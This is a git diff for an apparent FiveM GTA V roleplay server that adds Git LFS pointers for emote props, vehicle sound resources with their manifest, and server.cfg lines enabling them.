+oid sha256:abec5d0b0fb32f68aed6fe4f7e70e3b2d0f95ac17cf028349a9231b8c3110f1c +size 173731 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag2.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag2.ydr new file mode 100644 index 000000000..80e7cf5ff --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag2.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:872e7c40cbe9ee19c4999196d2161df17341ddd1aeb418d963bfd1297eeed537 +size 180571 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag3.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag3.ydr new file mode 100644 index 000000000..3b6dfe148 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag3.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ffcbefd2c00e3094f6f7ae3e7486449afd2be8791c793b320f15089d028630e2 +size 173296 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag4.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag4.ydr new file mode 100644 index 000000000..5b5b006d6 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag4.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5aa6d9d46c3a7afa2c82ba11941622b2dadc93b55915b930e810a7b24bdca0d9 +size 173676 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag5.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag5.ydr new file mode 100644 index 000000000..a9cb55e84 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag5.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9894339446f09b13b88d3a56c5b734b5c29400ef6e384996f4c701cf350049bb +size 173039 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag6.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag6.ydr new file mode 100644 index 000000000..1ca90962f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag6.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:537a69a4ea2422b87e1ec9c44ca51af6b4c1c830e8a897aa6cedd2aa86325779 +size 173556 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag7.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag7.ydr new file mode 100644 index 000000000..638479c82 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag7.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9e34a4115adaad3434afea11a5ff0b47c07e13d373f598da2770ddf21f06ce9e +size 173187 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag8.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag8.ydr new file mode 100644 index 000000000..d687f2b87 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag8.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:82b9e66e77eb14555075fa77c0858e996de781674b6b1a1d2039d1cdac1dcfd6 +size 173561 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag9.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag9.ydr new file mode 100644 index 000000000..1e53b3d6f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag9.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f80abff9d7f41f5a8df8549b2375c2a7095d150b6b0598f838ea25edfed7927e +size 177142 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/p_amb_brolly_01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/p_amb_brolly_01.ydr new file mode 100644 index 000000000..e00c174ec --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/p_amb_brolly_01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:359f5b0bc023fa96b349f6676b54906be9fd3129cbd46cc0ade0072aa38fb3e7 +size 65045 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/p_cs_clipboard.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/p_cs_clipboard.ydr new file mode 100644 index 000000000..512ae8531 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/p_cs_clipboard.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:447dc8cf2e84d383adabfa895d4927c5fb4cf744fb79602c1f45c062a05a87c2 +size 33056 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/pride_sign_01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/pride_sign_01.ydr new file mode 100644 index 000000000..3acd10be9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/pride_sign_01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0a61487681b38e538b49641896230cadb2f4a45533d1170727cf9031d57bde8b +size 61490 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag1.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag1.ydr new file mode 100644 index 000000000..351977cd2 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag1.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d3241aefd9b8c3d70d33c657f5fc2b0c8fbfcc2da311e17d2177dd958f7df71d +size 61859 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag2.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag2.ydr new file mode 100644 index 000000000..fbaabf965 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag2.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5b241e1989c909a79b0aaba4cb1f0b747ebf12c0187255dba8bc589d2dbadb42 +size 56998 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag3.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag3.ydr new file mode 100644 index 000000000..48b0cbbe2 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag3.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0d35090a649edeea6234d508481ec3a9ea0fe11e899630774b5f065a3c94d927 +size 52859 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag4.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag4.ydr new file mode 100644 index 000000000..0fc48851d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag4.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5a3c87711bc1a17ba880fec0d0a774a72e9596be8664aa6e00a0300bf6268f9e +size 53427 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag5.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag5.ydr new file mode 100644 index 000000000..08303044f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag5.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:442a8681acf3ec3482995fbbf5d120c64e08349d7c70c7ed41595d3536aaa11c +size 53035 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag6.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag6.ydr new file mode 100644 index 000000000..b8dc0568a --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag6.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a9e0ad7cdc671d6b12a81a0302740ff65c5b78ed69ececa465ae4f0c009b057b +size 53500 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag7.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag7.ydr new file mode 100644 index 000000000..dfaf54dd9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag7.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1d417651cd1a247be8f61bf5822cd6b3fce2281070b078e256e402c648957f4e +size 53005 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag8.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag8.ydr new file mode 100644 index 000000000..fa7bcb636 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag8.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dc7c0c3f31e7f842d3de4067e7fbe4f5fcb04f8e8e155dd256e0222a44f117e4 +size 53012 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag9.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag9.ydr new file mode 100644 index 000000000..51c406836 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prideflag9.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8594bae78af278554eac81c0937a1c42b0c2c24f22de46fbcd01888fad0a050d +size 55202 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_begger.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_begger.ytd new file mode 100644 index 000000000..62d429f7e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_begger.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:49eed384ec5c82c0f85b01840c8973a4c110f4f8398ab8cde878d0d6472d8cbc +size 249088 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_beggers_sign_04.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_beggers_sign_04.ydr new file mode 100644 index 000000000..cb3676c39 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_beggers_sign_04.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7e0acd5d3e1458367c2d7054eafa145d62e90a8ffc141d1e2e1b0f2b22c3113b +size 3558 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_candle.yft b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_candle.yft new file mode 100644 index 000000000..27db3e9b0 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_candle.yft @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:91d87f219a232c23977be1a4a63349dbe97328b0e42ff9ef41de12b5a17013c2 +size 4374 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_cop_badge+hidr.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_cop_badge+hidr.ytd new file mode 100644 index 000000000..9f7650932 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_cop_badge+hidr.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:892fb7313bb6c4a6a6eba5ecce4ededb42b037f2fa81939f4c373e3188dbd975 +size 26836 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_cop_badge.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_cop_badge.ydr new file mode 100644 index 000000000..a07ead0a9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_cop_badge.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f5b626e4c755647215742eb3afd6164c05587260e541e647191850c19e9ac4e2 +size 61624 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_lspd_badge+hidr.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_lspd_badge+hidr.ytd new file mode 100644 index 000000000..b6e89da8d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_lspd_badge+hidr.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f72e629cb58832d41a6f4ed24c0d28670a103cd9fbc615b21ea7d9d3420a34e4 +size 34420 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_lspd_badge.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_lspd_badge.ydr new file mode 100644 index 000000000..bf3ea224d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_lspd_badge.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c6739705b75136f72aaed00fa572e917c6b7096fca88b78400e2c1b5ad9b2452 +size 77072 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_phone_taymckenzienz.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_phone_taymckenzienz.ydr new file mode 100644 index 000000000..0b357c9ca --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_phone_taymckenzienz.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8462a73d97ab915ab4e5a93f850d6b1b915950f5e763854ee3d6d5bcc79516b3 +size 21537 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_phone_taymckenzienz.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_phone_taymckenzienz.ytd new file mode 100644 index 000000000..73c158d5e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_phone_taymckenzienz.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9595ebc190fb531c495b8c7ea930d895cda814ec62c1fae7c370ef8d9a292178 +size 94190 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rag_01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rag_01.ydr new file mode 100644 index 000000000..2042661dd --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rag_01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0c558256d0e75d9cc11624b31c392708cddcc5ed46d2f4e74233efdec7f273c5 +size 8250 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda01.ydr new file mode 100644 index 000000000..82c5bfcd6 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ec6edb7b3dd241c52f06e050bc8cbac4e6e60783b7f3717e808b4a6fae5aa4e1 +size 246861 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda02.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda02.ydr new file mode 100644 index 000000000..c96b02156 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda02.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fcee37038b19d76b2f9290869c9ea733fe0c82359043557c1b229551f14a2bd4 +size 247560 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda03.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda03.ydr new file mode 100644 index 000000000..843d03a2f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda03.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a99b4f44555e8dae2f8908fa5905f5e4f18e5b5b46a12f6839854a909f949aa1 +size 242040 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda04.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda04.ydr new file mode 100644 index 000000000..6e68a1057 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_rpemotes_soda04.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:75ea860f9dbc72fbfd8c28088cb478d7ad13bd0b00867780d23d25ddf6fd6cd9 +size 245998 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_tay_guitar_001.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_tay_guitar_001.ydr new file mode 100644 index 000000000..06845cf77 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_tay_guitar_001.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a27e14d1ce6ca2e09616c0b10b2cadd1ffa599f3e1d1152395457faf7e179fd3 +size 301320 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_tay_guitar_002.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_tay_guitar_002.ydr new file mode 100644 index 000000000..82934a18e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_tay_guitar_002.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:31af19ab63a67c71503a0ef9d6d2aa52bef895426d66cb6c30ecc8139b9491b0 +size 414285 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_taymckenzienz_popcorn.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_taymckenzienz_popcorn.ydr new file mode 100644 index 000000000..10db10471 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/prop_taymckenzienz_popcorn.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:94124858e52b2ae14f7605609f1867b7bb1d967b4c7a05ff359ee05db1b8b90a +size 296311 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/rpemotes_prop_saxophone01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/rpemotes_prop_saxophone01.ydr new file mode 100644 index 000000000..a9c6d6ab8 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/rpemotes_prop_saxophone01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:89e64e49e0b3741d88aa4893a2adbbdf695cae53cd63cfd1dcbd47325bb9b075 +size 24484 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/rpemotes_prop_saxophone02.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/rpemotes_prop_saxophone02.ydr new file mode 100644 index 000000000..37404b48f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/rpemotes_prop_saxophone02.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:48186e3ee9b7f40dfdbf27d4a0feaaff69b5f01367355c0aba219c3bfd1494c1 +size 22218 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/taymckenzienz_rpemotes.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/taymckenzienz_rpemotes.ytyp new file mode 100644 index 000000000..153f2523e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/taymckenzienz_rpemotes.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/taymckenzienz_skateboard01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/taymckenzienz_skateboard01.ydr new file mode 100644 index 000000000..9c43923f4 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/taymckenzienz_skateboard01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2cfd3f702029b71b08de6b01420f4e32fe2d090d890627f1ea6dbad82832ece9 +size 114955 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/taymckenzienz_skateboard02.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/taymckenzienz_skateboard02.ydr new file mode 100644 index 000000000..86023e695 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/taymckenzienz_skateboard02.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ed36ab4132f645424fb42c5a91270b985fe527be4ce91a0d6c5626da8b799fcb +size 125715 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/UltraRingCase/ultra_ringcase.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/UltraRingCase/ultra_ringcase.ydr new file mode 100644 index 000000000..f978f047d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/UltraRingCase/ultra_ringcase.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4478fe49d8e81b17bce51106705d12291465d5d5d388267168ddb7adf8f738c5 +size 220221 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/UltraRingCase/ultra_ringcase.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/UltraRingCase/ultra_ringcase.ytyp new file mode 100644 index 000000000..61db03829 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/UltraRingCase/ultra_ringcase.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/scarymask1.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/scarymask1.ydr new file mode 100644 index 000000000..26cb5537a --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/scarymask1.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:80d670d87fb8a99ba78de72fa843b785294ce8487e63f438f6acd903e4229039 +size 354718 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/scarymask2.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/scarymask2.ydr new file mode 100644 index 000000000..f72aa0d08 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/scarymask2.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0efb0db4563fbcf2a783490e02f7809585ab8078457d8f38b457d1dc6730c636 +size 336413 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/scarymask3.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/scarymask3.ydr new file mode 100644 index 000000000..d37792962 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/scarymask3.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:06cc5f4ee83dd80e9c8ad0b48b6290b76bb3a2c84283c3aa8c0f5cdb4c134c83 +size 334206 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/vedere_props.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/vedere_props.ytyp new file mode 100644 index 000000000..9d93eca38 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/vedere/vedere_props.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/version.txt b/resources/rpemotesreborn1.6.0/version.txt new file mode 100644 index 000000000..dc1e644a1 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/version.txt @@ -0,0 +1 @@ +1.6.0 diff --git a/resources/str392m/audioconfig/str392m_game.dat151.rel b/resources/str392m/audioconfig/str392m_game.dat151.rel new file mode 100644 index 000000000..f9c69cb51 Binary files /dev/null and b/resources/str392m/audioconfig/str392m_game.dat151.rel differ diff --git a/resources/str392m/audioconfig/str392m_sounds.dat54.rel b/resources/str392m/audioconfig/str392m_sounds.dat54.rel new file mode 100644 index 000000000..ac17bcc27 Binary files /dev/null and b/resources/str392m/audioconfig/str392m_sounds.dat54.rel differ diff --git a/resources/str392m/fxmanifest.lua b/resources/str392m/fxmanifest.lua new file mode 100644 index 000000000..02306f774 --- /dev/null +++ b/resources/str392m/fxmanifest.lua @@ -0,0 +1,13 @@ +fx_version 'adamant' + +game 'gta5' + +files { + 'audioconfig/*.dat151.rel', + 'audioconfig/*.dat54.rel', + 'sfx/**/*.awc' +} + +data_file 'AUDIO_GAMEDATA' 'audioconfig/str392m_game.dat' +data_file 'AUDIO_SOUNDDATA' 'audioconfig/str392m_sounds.dat' +data_file 'AUDIO_WAVEPACK' 'sfx/dlc_str392m' \ No newline at end of file diff --git a/resources/str392m/sfx/dlc_str392m/str392m.awc b/resources/str392m/sfx/dlc_str392m/str392m.awc new file mode 100644 index 000000000..ebb12c840 Binary files /dev/null and b/resources/str392m/sfx/dlc_str392m/str392m.awc differ diff --git a/resources/str392m/sfx/dlc_str392m/str392m_npc.awc b/resources/str392m/sfx/dlc_str392m/str392m_npc.awc new file mode 100644 index 000000000..1bc0a80b4 Binary files /dev/null and b/resources/str392m/sfx/dlc_str392m/str392m_npc.awc differ diff --git a/server.cfg b/server.cfg index 1865881f7..77ccebec1 100644 --- a/server.cfg +++ b/server.cfg @@ -97,7 +97,7 @@ ensure Heli-Cam ensure Weaponry ensure StreetLabel ensure EGRP-HUD -ensure EmoteMenu +ensure rpemotesreborn1.6.0 ensure enhancedcamera ensure FiveM-Vote ensure Lightbars-Menu @@ -229,10 +229,22 @@ ensure cummins5924v ensure carsounds ensure carsounds4 ensure asedrussounds -ensure -ensure -ensure -ensure +ensure aq02coyotef150 +ensure lg125mnsrybently +ensure str392m +ensure kc83chevy454mod +ensure kc67chevy427v8 +ensure kc129powerstroke60 +ensure aq02coyotef150 +ensure kc85cumminsb67 +ensure kc91crate427a480 +ensure kc67chevy427v8 +ensure kc103hemipwagon +ensure lg44nascarv8 +ensure lg14c6vette +ensure lg50ftypev8 +ensure kc144kawazx10rsc +ensure kc302jzstock ensure ensure